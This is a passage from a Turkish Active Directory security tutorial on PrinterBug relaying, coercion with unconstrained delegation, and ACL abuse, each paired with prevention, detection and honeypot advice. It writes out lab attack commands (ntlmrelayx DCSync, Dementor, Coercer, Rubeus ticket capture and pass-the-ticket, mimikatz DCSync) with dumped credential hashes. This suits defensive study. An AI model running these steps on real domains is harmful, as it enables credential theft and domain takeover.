Transited Services alanı (S4U izini gösterir)</pre><h3>BÖLÜM 12: PRINT SPOOLER &amp; NTLM RELAYING</h3><h4>Açıklama (Description)</h4><p><strong>Print Spooler</strong>, en son Windows Desktop ve Server sürümlerinde bile varsayılan olarak etkin olan eski bir servistir.</p><p>Bu servis, 2018 yılında <strong>Lee Christensen</strong>’in <strong>PrinterBug</strong>’ı bulmasıyla popüler bir saldırı vektörü haline geldi. <strong>RpcRemoteFindFirstPrinterChangeNotification</strong> ve <strong>RpcRemoteFindFirstPrinterChangeNotificationEx</strong> fonksiyonları kötüye kullanılarak, uzak bir makinenin <strong>erişebildiği herhangi bir başka makineye bağlantı yapmaya zorlanması</strong> sağlanabilir.</p><p>Dahası, bu <strong>ters bağlantı (reverse connection)</strong> kimlik doğrulama bilgisini bir <strong>TGT</strong> olarak taşıyacaktır. Bu nedenle, <strong>herhangi bir domain kullanıcısı</strong>, RemoteServer$ hesabını herhangi bir makineye kimlik doğrulamaya zorlayabilir (coerce edebilir).</p><p>Microsoft’un PrinterBug konusundaki tutumu şuydu: bu <strong>düzeltilmeyecek</strong>, çünkü sorun <strong>“tasarım gereği” (by-design)</strong>.</p><p><strong>PrinterBug’ın etkisi:</strong> Print Spooler’ı etkin olan <strong>herhangi bir Domain Controller</strong>, aşağıdaki yollardan biriyle ele geçirilebilir:</p><ol><li><strong>Bağlantıyı başka bir DC’ye relay edip DCSync gerçekleştirmek</strong> (SMB Signing devre dışıysa)</li><li><strong>Domain Controller’ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak</strong> — bu, TGT’yi UD sunucusunun belleğinde önbelleğe alır, ve bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir</li><li><strong>Bağlantıyı Active Directory Certificate Services’e relay edip Domain Controller için bir sertifika elde etmek.</strong> Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)</li><li><strong>Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek.</strong> Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz</li></ol><h4>Saldırı (Attack)</h4><p>Bu saldırı yolunda, bağlantıyı <strong>başka bir DC’ye relay edip DCSync gerçekleştireceğiz</strong> (yani listelenen ilk ele geçirme tekniği). Saldırının başarılı olması için, Domain Controller’larda <strong>SMB Signing’in kapalı olması</strong> gerekir.</p><p><strong>Adım 1 — NTLMRelayx’i yapılandırma:</strong></p><p>Başlamak için, NTLMRelayx&#39;i herhangi bir bağlantıyı DC2&#39;ye iletecek ve DCSync saldırısını gerçekleştirmeye çalışacak şekilde yapılandırıyoruz:</p><pre>impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support</pre><p><strong>Çıktı:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*Z4CIT10JOB-i9hpwQnbiPw.png" /></figure><p><strong>Adım 2 — PrinterBug’ı tetikleme:</strong></p><p>Sırada, NTLMRelayx dinlemede iken Kali makinesini kullanarak <strong>PrinterBug’ı tetiklememiz</strong> gerekiyor. Bağlantıyı geri tetiklemek için <strong>Dementor</strong> kullanacağız (domain’e katılmamış bir makineden çalıştırılırken, kimliği doğrulanmış herhangi bir kullanıcının kimlik bilgileri gereklidir, ve bu durumda daha önce <strong>infa yı</strong> ele geçirdiğimizi varsaydık):</p><pre>python3 ./dementor.py 172.16.18.20 172.16.18.3 -u infa -d krysthal.local -p MWP123</pre><p><strong>Çıktı:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0oZs0jrOxTA5HSCySPV8Kg.png" /></figure><p><strong>Adım 3 — NTLMRelayx tarafında sonucu görme:</strong></p><p>Şimdi, NTLMRelayx ile terminal oturumuna geri döndüğümüzde, <strong>DCSync&#39;in başarılı olduğunu</strong> göreceğiz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJklygT3v25AR5FJsiCZHw.png" /></figure><p>Görüldüğü gibi, <strong>krbtgt</strong>, <strong>DC2$</strong> ve <strong>Administrator</strong> hesaplarının parola hash’leri elde edildi, DCSync saldırısı, PrinterBug ile tetiklenen bir relay saldırısı üzerinden başarıyla gerçekleştirildi.</p><h4>Önleme (Prevention)</h4><p><strong>Print Spooler</strong>, yazdırma sunucusu olmayan <strong>tüm sunucularda devre dışı bırakılmalıdır.</strong> Domain Controller’lar ve diğer temel (core) sunucular, çekirdek AD altyapısına yönelik saldırı yüzeyini açan ve genişleten <strong>ek roller/işlevsellikler</strong> asla barındırmamalıdır.</p><p>Ayrıca, servisi <strong>çalışır durumda tutarken</strong> PrinterBug’ın kötüye kullanılmasını önlemek için bir seçenek daha vardır: <strong>RegisterSpoolerRemoteRpcEndPoint</strong> registry anahtarını devre dışı bırakmak. Bu anahtar devre dışı bırakıldığında, gelen tüm <strong>uzak istekler engellenir</strong>; bu, sanki servis uzak istemciler için devre dışı bırakılmış gibi davranır.</p><p>Registry anahtarını <strong>1</strong> olarak ayarlamak <strong>etkinleştirir</strong>, <strong>2</strong> olarak ayarlamak ise <strong>devre dışı bırakır.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*6NzKPLi27Ng2OzMmYBlUrA.png" /></figure><h4>Tespit (Detection)</h4><p>PrinterBug’ı istismar etmek, Domain Controller’a doğru ağ bağlantı izleri bırakacaktır; ancak bunlar <strong>bir tespit mekanizması olarak kullanılamayacak kadar geneldir.</strong></p><p><strong>NTLMRelayx kullanılarak DCSync gerçekleştirilmesi durumunda</strong>, (DCSync bölümünde bahsedildiği gibi) <strong>Event ID 4662 üretilmez</strong>; ancak, DC1&#39;in hash’lerini DC2&#39;den elde etmek için, <strong>DC1 için başarılı bir oturum açma event’i</strong> oluşacaktır. Bu event, <strong>Domain Controller’ın değil, Kali makinesinin IP adresinden</strong> kaynaklanır, aşağıda görebileceğimiz gibi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*Xy8Ei3cl551OqXhKQBAfzA.png" /></figure><p><strong>Uygun bir tespit mekanizması</strong>, her zaman <strong>çekirdek altyapı sunucularından gelen tüm oturum açma girişimlerini</strong>, bunların <strong>kendi IP adresleriyle</strong> (bunlar statik ve bilinen olmalıdır) <strong>ilişkilendirir (correlate).</strong></p><h4>Honeypot</h4><p>PrinterBug, ortamda <strong>şüpheli davranışı uyarma aracı olarak</strong> kullanılabilir. Bu senaryoda, sunucularımızdan <strong>139 ve 445 portlarına</strong> giden <strong>outbound bağlantıları engelleriz</strong>; bu, yazılım veya fiziksel güvenlik duvarlarıyla (firewall) başarılabilir.</p><p>Bug’ın istismar edilmesi tetiklenebilse bile, güvenlik duvarı kuralları <strong>ters bağlantının tehdit aktörüne ulaşmasına izin vermeyecektir.</strong> Ancak, bu engellenen bağlantılar <strong>mavi takım (blue team) için bir ele geçirilme belirtisi</strong> olarak işlev görecektir.</p><p>Bununla ilgili herhangi bir şey uygulamadan önce, <strong>meşru bağlantılara izin verildiğinden emin olmak</strong> için yeterli günlük kaydına (log) ve ortamımız hakkında yeterli bilgiye sahip olduğumuzdan emin olmalıyız (örneğin, DC’lerin veri replikasyonu yapabilmesi için belirtilen portları açık tutmalıyız).</p><p>Bu, düşmanları kandırmak için bir honeypot olarak uygun görünse de, bunu uygulamadan önce <strong>dikkatli olmalıyız</strong> — çünkü şu anda bu bug, makinenin bize <strong>geri bağlanmasını</strong> gerektiriyor, ancak eğer <strong>ters bağlantı olmadan bir tür Uzaktan Kod Yürütme (Remote Code Execution)</strong> sağlayan yeni, bilinmeyen bir bug keşfedilirse, bu durum <strong>bize geri tepecektir.</strong></p><p>Bu nedenle, bu seçeneği yalnızca <strong>son derece olgun bir organizasyon</strong> isek ve yeni bir bug keşfedilmesi durumunda uyarılara <strong>anında hareket edebiliyorsak</strong> ve tüm cihazlarda servisi <strong>devre dışı bırakabiliyorsak</strong> düşünmeliyiz.</p><h3>BÖLÜM 13: COERCING ATTACKS &amp; UNCONSTRAINED DELEGATION</h3><h4>Açıklama (Description)</h4><p><strong>Coercing (zorlama) saldırıları</strong>, herhangi bir kullanıcıdan Domain Administrator’a yetki yükseltmek için <strong>tek adımlık bir çözüm (one-stop shop)</strong> haline geldi. Varsayılan bir AD altyapısına sahip <strong>neredeyse her organizasyon</strong> buna karşı savunmasızdır. <strong>PrinterBug</strong>’ı tartıştığımızda coercing saldırılarının <strong>tadına zaten bakmıştık.</strong></p><p>Ancak, <strong>aynı işlevselliği gerçekleştirebilen birkaç başka RPC fonksiyonu daha</strong> vardır. Bu nedenle, <strong>herhangi bir domain kullanıcısı</strong>, RemoteServer$ hesabını domain&#39;deki <strong>herhangi bir makineye</strong> kimlik doğrulamaya zorlayabilir (coerce edebilir). Sonunda, <strong>bilinen tüm savunmasız RPC fonksiyonlarını aynı anda istismar etmek</strong> için <strong>Coercer</strong> aracı geliştirildi.</p><p><strong>PrinterBug’a benzer şekilde</strong>, bir saldırgan ters bağlantı ile birkaç <strong>“takip” (follow up)</strong> seçeneği arasından seçim yapabilir; bunlar daha önce bahsedildiği gibi:</p><ol><li><strong>Bağlantıyı başka bir DC’ye relay edip DCSync gerçekleştirmek</strong> (SMB Signing devre dışıysa)</li><li><strong>Domain Controller’ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak</strong> — bu, TGT’yi UD sunucusunun belleğinde önbelleğe alacaktır, bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir</li><li><strong>Bağlantıyı Active Directory Certificate Services’e relay edip Domain Controller için bir sertifika elde etmek.</strong> Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)</li><li><strong>Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek.</strong> Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz</li></ol><h4>Saldırı (Attack)</h4><p>Bu bölümde, saldırganın <strong>Unconstrained Delegation için yapılandırılmış bir sunucuda yönetici hakları elde ettiğini</strong> varsayarak, <strong>ikinci “takip” seçeneğini</strong> kötüye kullanacağız. TGT’yi yakalamak için bu sunucuyu kullanacağız, <strong>Coercer ise Kali makinesinden çalıştırılacak.</strong></p><p><strong>Adım 1 — Unconstrained Delegation için yapılandırılmış sistemleri belirleme:</strong></p><p>PowerView’in <strong>Get-NetComputer</strong> fonksiyonu, <strong>-Unconstrained</strong> anahtarıyla birlikte kullanılabilir:</p><p>powershell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5N4uINcgMCpudflMTCoG2Q.png" /></figure><p><strong>WS001</strong> ve <strong>SERVER01</strong>, Unconstrained delegation için güvenilir durumdadır (Domain Controller’lar varsayılan olarak güvenilirdir). Yani ya <strong>WS001</strong> ya da <strong>Server01</strong>, bir düşman için hedef olabilir. Senaryomuzda, <strong>WS001&#39;i</strong> ve bu host üzerinde yönetici haklarına sahip olan <strong>‘infa’yı</strong> zaten ele geçirmiş durumdayız.</p><p><strong>Adım 2 — Yeni oturumları izlemek için Rubeus’u başlatma:</strong></p><p>Yeni oturumları izlemek ve TGT’leri çıkarmak için bir <strong>yönetici komut isteminde</strong> Rubeus’u başlatacağız:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Rubeus.exe monitor /interval:1</pre><p><strong>Çıktı:</strong></p><pre>______           _<br>  (_____ \         | |<br>   _____) )_      _| |__    _____ _     _   ___<br>  |     __     /| | | |     _ \| ___ | | | |/___)<br>  | |        \ \| |_| | |_) ) ____| |_| |___ |<br>  |_|         |_|____/|____/|_____)____/(___/</pre><pre>  v2.0.1</pre><pre>[*] Action: TGT Monitoring<br>[*] Monitoring every 1 seconds for new TGTs</pre><p><strong>Adım 3 — WS001&#39;in IP adresini öğrenme ve Coercer’ı çalıştırma:</strong></p><p>Sırada, ipconfig çalıştırarak elde edebileceğimiz <strong>WS001&#39;in IP adresini</strong> bilmemiz gerekiyor. Bilindiğinde, <strong>Kali makinesine geçip DC1&#39;e doğru Coercer&#39;ı çalıştıracağız</strong>, ve coercing başarılı olursa <strong>WS001&#39;e bağlanmaya zorlayacağız:</strong></p><pre>Coercer -u infa -p MWP123 -d krysthal.local -l ws001.krysthal.local -t dc1.krysthal.local</pre><p><strong>Adım 4 — WS001&#39;de yakalanan TGT’yi görme:</strong></p><p>Şimdi, <strong>WS001&#39;e geçip</strong> Rubeus’un sağladığı sürekli çıktıya baktığımızda, <strong>DC1 için bir TGT</strong> mevcut olmalıdır:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRn9iUmBX4BrI4CiSpjB8Q.png" /></figure><p><strong>Bu TGT’yi domain içinde kimlik doğrulama için kullanabiliriz, Domain Controller haline gelerek.</strong> Buradan itibaren, <strong>DCSync bariz bir saldırıdır</strong> (diğerlerinin yanı sıra).</p><p><strong>Adım 5 — Yakalanan TGT’yi Rubeus ile kullanma:</strong></p><p>Yukarıda bahsedilen TGT’yi kullanmanın bir yolu <strong>Rubeus</strong> üzerinden, aşağıdaki gibidir:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa...</pre><p><strong>Çıktı:</strong></p><pre>______           _<br>  (_____ \         | |<br>   _____) )_      _| |__    _____ _     _   ___<br>  |     __     /| | | |     _ \| ___ | | | |/___)<br>  | |        \ \| |_| | |_) ) ____| |_| |___ |<br>  |_|         |_|____/|____/|_____)____/(___/</pre><pre>  v2.0.1</pre><pre>[*] Action: Import Ticket<br>[+] Ticket successfully imported!</pre><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; klist</pre><pre>Current LogonId is 0:0x101394</pre><pre>Cached Tickets: (1)</pre><pre>#0&gt;         Client: DC1$ @ KRYSTHAL.LOCAL<br>            Server: krbtgt/KRYSTHAL.LOCAL @ KRYSTHAL.LOCAL<br>            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96<br>            Ticket Flags 0x60a10000 -&gt; forwardable forwarded renewable pre_authent name_canonicalize<br>            Start Time: 7/09/2026 8:54:04 (local)<br>            End Time:    7/09/2026 18:54:04 (local)<br>            Renew Time: 7/09/2026 8:54:04 (local)<br>            Session Key Type: AES-256-CTS-HMAC-SHA1-96<br>            Cache Flags: 0x1 -&gt; PRIMARY<br>            Kdc Called:</pre><p><strong>Adım 6 — DCSync saldırısını gerçekleştirme:</strong></p><p>Ardından, DCSync bölümünde yaptığımızı <strong>esasen tekrarlayarak</strong>, mimikatz üzerinden bir DCSync saldırısı gerçekleştirilebilir.</p><pre>PS C:\Users\infa\Downloads\mimikatz_trunk\x64&gt; .\mimikatz.exe &quot;lsadump::dcsync /domain:krysthal.local /user:Administrator&quot;</pre><p><strong>Çıktı:</strong></p><pre>mimikatz(commandline) # lsadump::dcsync /domain:krysthal.local /user:Administrator</pre><pre>[DC] &#39;krysthal.local&#39; will be the domain<br>[DC] &#39;DC1.krysthal.local&#39; will be the DC server<br>[DC] &#39;Administrator&#39; will be the user account<br>[rpc] Service : ldap<br>[rpc] AuthnSvc : GSS_NEGOTIATE (9)</pre><pre>Object RDN              : Administrator</pre><pre>** SAM ACCOUNT **</pre><pre>SAM Username            : Administrator<br>Account Type            : 30000000 ( USER_OBJECT )<br>User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )<br>Account expiration      : 01/01/1601 02.00.00<br>Password last change : 07/08/2026 21.24.13<br>Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-500<br>Object Relative ID      : 500</pre><pre>Credentials:<br>  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf</pre><pre>Supplemental Credentials:<br>* Primary:NTLM-Strong-NTOWF *<br>    Random Value : 6fd69313922373216cdbbfa823bd268d</pre><pre>* Primary:Kerberos-Newer-Keys *<br>    Default Salt : WIN-FM93RI8QOKQAdministrator<br>    Default Iterations : 4096<br>    Credentials<br>      aes256_hmac           (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3<br>      aes128_hmac           (4096) : 4667ae9266d48c01956ab9c869e4370f<br>      des_cbc_md5           (4096) : d9b53b1f6d7c45a8</pre><pre>* Packages *<br>      NTLM-Strong-NTOWF</pre><pre>* Primary:Kerberos *<br>    Default Salt : WIN-FM93RI8QOKQAdministrator<br>    Credentials<br>      des_cbc_md5           : d9b53b1f6d7c45a8</pre><pre>mimikatz # exit<br>Bye!</pre><h4>Önleme (Prevention)</h4><p>Windows, <strong>hangi RPC çağrılarının kullanıldığını keşfetmeye ve belirli fonksiyonları engellemeye izin veren granüler görünürlük ve kontrol sunmaz.</strong> Bu nedenle, bu saldırıyı önlemek için <strong>kutudan çıktığı gibi (out-of-the-box)</strong> bir çözüm <strong>şu anda mevcut değildir.</strong> Ancak, coercing saldırılarını önlemek için <strong>iki farklı genel yaklaşım</strong> vardır:</p><p><strong>1) Zero Networks’ten olanı gibi üçüncü parti bir RPC güvenlik duvarı (firewall) uygulamak</strong> ve bunu tehlikeli RPC fonksiyonlarını engellemek için kullanmak. Bu araç ayrıca bir <strong>audit modu</strong> ile birlikte gelir, bu da onu kullanmanın veya kullanmamanın iş kesintilerine (business disruption) yol açıp açmayacağını izlemeye ve görünürlük kazanmaya olanak tanır. Dahası, coercing ile ilişkili tehlikeli <strong>OPNUM</strong> istekte mevcutsa RPC fonksiyonlarını engelleme işlevselliğini sağlayarak bir adım öteye gider. (Bu seçenekte, gelecekte yeni keşfedilen her RPC fonksiyonu için, onu dahil etmek üzere güvenlik duvarının yapılandırma dosyasını değiştirmemiz gerekeceğini unutmayın.)</p><p><strong>2) Domain Controller’ları ve diğer temel altyapı sunucularını, AD için gerekli olan (ve iş operasyonları için gerekli olan) makineler dışında, giden (outbound) 139 ve 445 portlarına bağlanmaktan engellemek.</strong> Bir örnek şudur: 139 ve 445 portlarına genel giden trafiği engellerken, hâlâ <strong>Domain Controller’lar arası (cross Domain Controllers)</strong> için buna izin vermeliyiz; aksi takdirde domain replikasyonu başarısız olur. (Bu çözümün avantajı, <strong>yeni keşfedilen savunmasız RPC fonksiyonlarına veya diğer coercing yöntemlerine karşı da işe yarayacak olmasıdır.</strong>)</p><h4>Tespit (Detection)</h4><p>Bahsedildiği gibi, Windows RPC aktivitesini izlemek için <strong>kutudan çıktığı gibi bir çözüm sağlamaz.</strong> Zero Networks’ten olan RPC Firewall, bu fonksiyonların kötüye kullanımını tespit etmek için <strong>mükemmel bir yöntemdir</strong> ve ele geçirilmenin <strong>anlık belirtilerini</strong> gösterebilir; ancak, Domain Controller’lara üçüncü parti yazılım kurmama konusundaki genel tavsiyeleri takip edersek, <strong>güvenlik duvarı günlükleri (firewall logs) en iyi şansımızdır.</strong></p><p><strong>Coercer ile başarılı bir coercing saldırısı</strong>, aşağıdaki host güvenlik duvarı günlüğüyle sonuçlanacaktır; burada <strong>.128&#39;deki makine saldırgan makinesi</strong>, <strong>.200 ise Domain Controller’dır:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-aN8Qn7JaGloB89Ku-_JA.png" /></figure><p><strong>Portun 445&#39;e giden çok sayıda gelen bağlantı</strong> görebiliriz, ardından <strong>DC’den saldırgan makinesine giden bağlantılar</strong> izler; bu işlem, Coercer birkaç farklı fonksiyondan geçtikçe birkaç kez tekrarlanır. <strong>Tüm giden trafik 445 portuna yöneliktir.</strong></p><p>Eğer ileri gidip <strong>445 portuna giden trafiği engellersek</strong>, aşağıdaki davranışı gözlemleyeceğiz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yuA7yqdfojdPwlKUH19hoQ.png" /></figure><p>Şimdi görebiliriz ki, <strong>gelen bağlantı başarılı olsa bile, güvenlik duvarı giden bağlantıyı düşürür (drop)</strong>, ve sonuç olarak, <strong>saldırgan hiçbir coerced TGT almaz.</strong> Bazen, 445 portu engellendiğinde, makine bunun yerine <strong>139 portuna bağlanmaya çalışacaktır</strong>, bu yüzden <strong>hem 139 hem de 445 portlarının engellenmesi önerilir.</strong></p><p><strong>Yukarıdakiler tespit için de kullanılabilir</strong>, çünkü <strong>139 veya 445 portlarına yönelik herhangi bir beklenmeyen düşürülmüş (dropped) trafik şüphelidir.</strong></p><h4>Honeypot</h4><p>Bu bölümde <strong>Honeypot alt başlığı bulunmuyor.</strong> Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (<strong>Object ACLs</strong>) geçiyor.</p><h3>BÖLÜM 14: OBJECT ACLs</h3><h4>Açıklama (Description)</h4><p>Active Directory’de <strong>Access Control Lists (ACLs)</strong>, belirli bir nesneye erişimi olan yetkilileri (trustee) ve bunların erişim türünü tanımlayan tablolar veya basit listelerdir. Bir <strong>yetkili (trustee)</strong>, bir kullanıcı hesabı, grup veya oturum açma oturumu gibi herhangi bir <strong>güvenlik asıl (security principal)</strong> olabilir. Her erişim kontrol listesi bir dizi <strong>erişim kontrol girişine (ACE)</strong> sahiptir ve her ACE, yetkiliyi ve yetkilinin sahip olduğu erişim türünü tanımlar. Bu nedenle, çeşitli ACE’ler olabileceğinden bir nesneye <strong>birden fazla yetkili</strong> tarafından erişilebilir. Erişim kontrol listeleri ayrıca, güvenli bir nesneye yapılan erişim girişimlerinin sayısını ve erişim türünü kaydetmek gibi <strong>denetim (auditing) amaçları</strong> için de kullanılır. <strong>Güvenli bir nesne (securable object)</strong>, Active Directory’de bir <strong>güvenlik tanımlayıcısı (security descriptor)</strong> içeren, adlandırılmış herhangi bir nesnedir; bu tanımlayıcı, ACL’leri içeren nesne hakkındaki güvenlik bilgilerine sahiptir.</p><p>Bir Erişim Kontrol Girişi’ne örnek olarak, <strong>varsayılan olarak AD, Domain Admins’e her nesnenin parolasını değiştirme hakkını verir.</strong> Ancak, haklar belirli kullanıcılara veya gruplara da <strong>devredilebilir (delegate)</strong>; bunlar, diğer nesneler üzerinde belirli bir eylemi gerçekleştirebilir — bu, parola sıfırlamaları, grup üyeliği değişikliği veya nesnelerin silinmesi olabilir. Büyük organizasyonlarda, ayrıcalıksız kullanıcıların <strong>devredilmiş haklarla sonuçlanmasını önlemek pratik olarak imkansızsa</strong>, insan hatasını ortadan kaldırmalı ve iyi tanımlanmış süreç dokümantasyonuna sahip olmalıdırlar. Örneğin, bir çalışanın (kazara/kasıtlı olarak) departmanını IT’den Security Operations’a değiştirdiğini varsayalım. Bu durumda, organizasyonun sistemlere ve uygulamalara olan <strong>tüm hakları ve erişimi iptal etmek için bir süreci olmalıdır.</strong> Gerçek hayattaki AD ortamlarında, sıklıkla şu gibi durumlarla karşılaşacağız:</p><ul><li>Tüm Domain kullanıcıları, tüm Sunuculara Administrators olarak eklenmiş</li><li>Herkes tüm nesneleri değiştirebilir (üzerlerinde tam haklara sahip olarak)</li><li>Tüm Domain kullanıcıları, LAPS parolalarını içeren bilgisayarın genişletilmiş özelliklerine erişebilir</li></ul><h4>Saldırı (Attack)</h4><p>Potansiyel istismar edilebilir ACL’leri belirlemek için, <strong>nesneler arasındaki ilişkileri grafikleştirmek üzere BloodHound’u</strong> ve ortamı taramak ve -c parametresine (CollectionMethod&#39;un kısa versiyonu) <strong>All</strong> geçirmek üzere <strong>SharpHound&#39;u</strong> kullanacağız:</p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; .\SharpHound.exe -c All</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvOMom6LmP-J6gvfTbDcow.png" /></figure><p><strong>SharpHound tarafından üretilen ZIP dosyası</strong> daha sonra <strong>BloodHound’da görselleştirilebilir.</strong> Ortamdaki her yanlış yapılandırılmış ACL’yi aramak yerine, <strong>kullanıcı infaa’dan</strong> (zaten ele geçirdiğimiz ve tam kontrolüne sahip olduğumuz ilk kullanıcımız) kaynaklanan potansiyel yetki yükseltme yollarına odaklanacağız. Bu nedenle, aşağıdaki görsel, infa’un ortama sahip olduğu farklı erişimleri göstermektedir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gmrIqZVqxXlL5yQsOcPM5g.png" /></figure><p><strong>infa, kullanıcı mdr ve bilgisayar Server01 üzerinde tam haklara sahiptir.</strong> Aşağıda, infa’un bunların her biriyle neler yapabileceği açıklanmaktadır:</p><p><strong>1. Durum 1: Kullanıcı mdr üzerinde tam haklar.</strong> Bu durumda, İnfa nesne mdr’ı bazı <strong>bonus SPN değeri</strong> belirleyerek değiştirebilir ve ardından ona karşı <strong>Kerberoast saldırısı</strong> gerçekleştirebilir (hatırlarsanız, bu saldırının başarısı parolanın gücüne bağlıdır). Ancak, İnfa ayrıca <strong>kullanıcı mdr’nin parolasını da değiştirebilir</strong> ve ardından bu hesap olarak giriş yapabilir, dolayısıyla mdr’ın yapabileceği <strong>her şeyi doğrudan devralarak</strong> gerçekleştirebilir hale gelir (mdr bir Domain admin ise, infa da aynı haklara sahip olur).</p><p><strong>2. Durum 2: Bir bilgisayar nesnesi üzerinde tam kontrol de verimli olabilir.</strong> Ortamda <strong>LAPS kullanılıyorsa</strong>, infa özniteliklerde saklanan parolayı elde edebilir ve bu sunucuya <strong>yerel Administrator hesabı</strong> olarak kimlik doğrulayabilir. Başka bir yetki yükseltme yolu ise <strong>Resource-Based Kerberos Delegation’ı kötüye kullanmaktır</strong>, bu da infa’un bu sunucuya <strong>herhangi biri olarak</strong> kimlik doğrulamasına izin verir. Önceki saldırıdan hatırlayın, <strong>Server01, Unconstrained delegation için güvenilirdir</strong>, bu yüzden infa bu sunucuda yönetici hakları elde ederse, bir <strong>Domain Controller’ın veya başka bir hassas bilgisayar nesnesinin kimliğini ele geçirmek için potansiyel bir yetki yükseltme yoluna</strong> sahip olur.</p><p>Ayrıca <strong>discretionary access control lists (DACLs)</strong> ve <strong>system access control lists (SACLs)</strong> raporları oluşturmak için <strong>ADACLScanner</strong> kullanabiliriz.</p><h4>Önleme (Prevention)</h4><p>Yapabileceğimiz <strong>üç şey</strong> var:</p><ul><li>AD ortamında bunun bir sorun olup olmadığını tespit etmek için <strong>sürekli değerlendirmeye (continuous assessment)</strong> başlayın.</li><li>Yüksek ayrıcalıklara sahip çalışanları bunu yapmaktan kaçınmaları için <strong>eğitin.</strong></li><li>Erişim yönetimi sürecinden mümkün olduğunca çok şeyi <strong>otomatikleştirin</strong> ve yalnızca yönetici hesaplarına ayrıcalıklı erişim atayın; bu, yöneticilerin hesapları manuel olarak düzenlememesini sağlar, bu da ayrıcalıksız kullanıcılara devredilmiş hakların tanıtılması riskini azaltır.</li></ul><h4>Tespit (Detection)</h4><p>Neyse ki, <strong>AD nesnelerinin değiştirilip değiştirilmediğini tespit etmek için birçok yolumuz var.</strong> Ne yazık ki, değiştirilen nesneler için üretilen event’ler <strong>eksiktir</strong>, çünkü <strong>neyin değiştirildiği konusunda granüler görünürlük sağlamazlar.</strong> Örneğin, yukarıda açıklanan ilk durumda, infa, mdr’ı bir <strong>SPN değeri ekleyerek</strong> değiştirdi. Bunu yaparak, infa mdr’a karşı <strong>Kerberoasting</strong> gerçekleştirme araçlarına sahip olacaktır. SPN değeri eklendiğinde, <strong>“A user account was changed” (“Bir kullanıcı hesabı değiştirildi”)</strong> mesajıyla <strong>Event ID 4738</strong> üretilir. Ancak, bu event, <strong>SPN dahil tüm değiştirilen kullanıcı özelliklerini göstermez.</strong> Bu nedenle, event yalnızca bir kullanıcının değiştirildiğini bildirir ama <strong>tam olarak neyin değiştirildiğini belirtmez</strong> (yine de yararlı olabilecek makul miktarda alana sahiptir). Aşağıda, infa’nın mdr’ın Kullanıcı Nesnesine herhangi bir <strong>sahte (bogus) SPN değeri</strong> eklerse üretilecek event yer almaktadır:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PdkWdr8cR2YPKAalVlmw_g.png" /></figure><p>Kırmızı notlar: <strong>“infa modified mdr”</strong> (Account Name: infa → Target Account: mdr ilişkisini gösteriyor) ve <strong>“No details of what was changed”</strong> (Changed Attributes alanındaki tüm değerlerin - olduğunu, yani hiçbir gerçek değişikliğin gösterilmediğini vurguluyor).</p><p><strong>Ancak, bu event’i kullanarak, ayrıcalıksız bir kullanıcının başka bir kullanıcı üzerinde ayrıcalıklı eylemler gerçekleştirip gerçekleştirmediğini anlayabiliriz.</strong> Örneğin, tüm ayrıcalıklı kullanıcılar <strong>“adminxxxx”</strong> ile başlayan bir adlandırma kuralına sahipse, <strong>“adminxxxx” ile ilişkili olmayan herhangi bir değişiklik şüphelidir.</strong> Eğer bir ACL kötüye kullanımı bir <strong>parola sıfırlamasına</strong> yol açarsa, <strong>Event ID 4724</strong> loglanacaktır.</p><p>Benzer şekilde, infa ikinci senaryoyu gerçekleştirseydi, <strong>Event ID 4742</strong> üretilirdi; bu da ne yazık ki sağlayabileceği bilgi açısından sınırlıdır; ancak, kullanıcı hesabı infa’un <strong>ele geçirilmiş ve kötü niyetli olarak kullanıldığını</strong> bildirir. Aşağıdaki, infa Server01&#39;i değiştirdiğinde üretilen Event ID 4742&#39;dir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PC5gXpmemSgmnL2mpoUbA.png" /></figure><h4>Honeypot</h4><p>Yanlış yapılandırılmış ACL’ler, <strong>şüpheli davranış için etkili bir tespit mekanizması</strong> olabilir. Buna yaklaşmanın <strong>iki yolu</strong> vardır:</p><p><strong>1) Daha önce tartışılan bir teknik aracılığıyla, honeypot olarak kullanılan bir kullanıcı hesabına nispeten yüksek ACL’ler atayın</strong> — örneğin, sahte 